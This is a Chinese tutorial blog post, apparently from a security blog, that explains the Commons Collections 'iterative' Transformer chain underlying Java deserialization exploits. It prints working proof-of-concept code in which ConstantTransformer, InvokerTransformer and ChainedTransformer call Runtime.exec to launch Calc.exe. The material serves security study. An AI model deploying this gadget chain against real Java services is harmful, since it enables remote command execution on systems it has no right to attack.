反序列化调用链——Commons Collections 迭代调用链

0x00 前言

反序列化总纲

单独的写迭代连的调用,主要原因是因为很多Commons Collections链都是以迭代链为基础而进行进一步利用的。所以先把迭代链找出来。
顺便把Commons Collection的概述基础这些也做一个介绍。

0x01 迭代链

网上大多的文章都是先介绍Transformer等一系列使用到的类,这里我们试着反着来。先上迭代链。迭代链就是通过某种迭代的方式执行多个Transform方法来获取实例。

可以再简单的说,他的本质就是通过嵌套的方式一层一层的执行。

1. 迭代链POC

Transformer[] transformers = new Transformer[]{

        //利用InvokerTransformer的反射功能,构造可以序列化的 java.lang.Class 的 Runtime,class对象
        //利用反射构造命令执行
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod",
                new Class[]{String.class, Class[].class},
                new Object[]{"getRuntime", new Class[0]}),
        new InvokerTransformer("invoke",
                new Class[]{Object.class, Object[].class},
                new Object[]{null, new Object[0]}),
        new InvokerTransformer("exec",
                new Class[]{String.class},
                new String[]{"Calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
transformerChain.transform(Object.class)

直接执行这个poc就可以触发Calc.exe。
这里是手动写transform进行触发迭代链的。
接下来挨着来看迭代链。简单的整理一下流程就是:

  • 拿到对应类
  • 反射获取方法
  • 执行方法
  • 触发

那么我们期望的执行方式实际上就是如下图所示的样子:
在这里插入图片描述
这里我们一步一步来进行拆分,然后再进行整合。

2.获取目标类

我们可以通过ConstantTransformer类中的transform方法来获取类,先来看效果,然后挨着说

Object o=new ConstantTransformer(Runtime.class).transform(Object.class); 
System.out.println(o);

在这里插入图片描述
ConstantTransformer实现了Transformer接口,重写了transform。
先来看Transformer接口:
在这里插入图片描述
然后再看重写的内容:可以获取到对应的类
在这里插入图片描述

3.获取目标类方法

获取目标类的方式使用的 InvokerTransformer,InvokerTransformer类的主要作用就是利用Java反射机制来创建类实例。
这里得先看一下InvokerTransformer和他的Transformer方法
首先是构造方法,这里的构造方法会接收三个参数,方法名,方法类型,方法的数值。
在这里插入图片描述
然后来看Transformer方法:直接调用反射机制来获取到方法的实例。
在这里插入图片描述
那么我们要执行exec就要进行连续获取

  • getMethod
  • getRuntime
  • invoke
  • exec

那么获取执行方法实例的poc就是:

Object o=new ConstantTransformer(Runtime.class).transform(Object.class);
Object a=new InvokerTransformer("getMethod",
        new Class[]{String.class, Class[].class},
        new Object[]{"getRuntime", new Class[0]}).transform(o);
Object b=new InvokerTransformer("invoke",
        new Class[]{Object.class, Object[].class},
        new Object[]{null, new Object[0]}).transform(a);
Object c=new InvokerTransformer("exec",
        new Class[]{String.class},
        new String[]{"Calc.exe"}).transform(b);

还有一种简单的方式就是:但是通过这种方式调用的实例无法进行反序列化操作

new ConstantTransformer(Runtime.getRuntime())
new InvokerTransformer("exec", new Class[]{String.class},        new Object[]{"Calc.exe"}),

不能调用的原因如下:

简单的看一下getRuntime,可以看到是static,java无法对static修饰的方法或属性进行序列化和反序列化。因为static在系统启动时就保存在了某一个特定的位置。
在这里插入图片描述

4.迭代调用

那么直接调用的方式是我们需要手动的去调用他们的transform方法,我们需要找到一个可以进行迭代调用的方式。庆幸的是存在一个ChainedTransformer类,ChainedTransformer类实现了Transformer链式调用,我们只需要传入一个Transformer数组ChainedTransformer就可以实现依次的去调用每一个Transformer的transform方法。
那么我们通过ChainedTransformer类调用:

Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod",
                new Class[]{String.class, Class[].class},
                new Object[]{"getRuntime", new Class[0]}),
        new InvokerTransformer("invoke",
                new Class[]{Object.class, Object[].class},
                new Object[]{null, new Object[0]}),
        new InvokerTransformer("exec",
                new Class[]{String.class},
                new String[]{"Calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
transformerChain.transform(Object.class);

那么这样就可以直接触发整个transformers数组的Transform方法。 面临的问题就是如何去触发ChainedTransformer的Transform方法。那么这个就是之后整个反序列链的基础链。

0x03 使用条件

  • 无限制

0x04 要点笔记

  • ConstantTransformer获取类
  • InvokerTransformer反射方法
  • ChainedTransformer迭代调用
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

王嘟嘟_

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值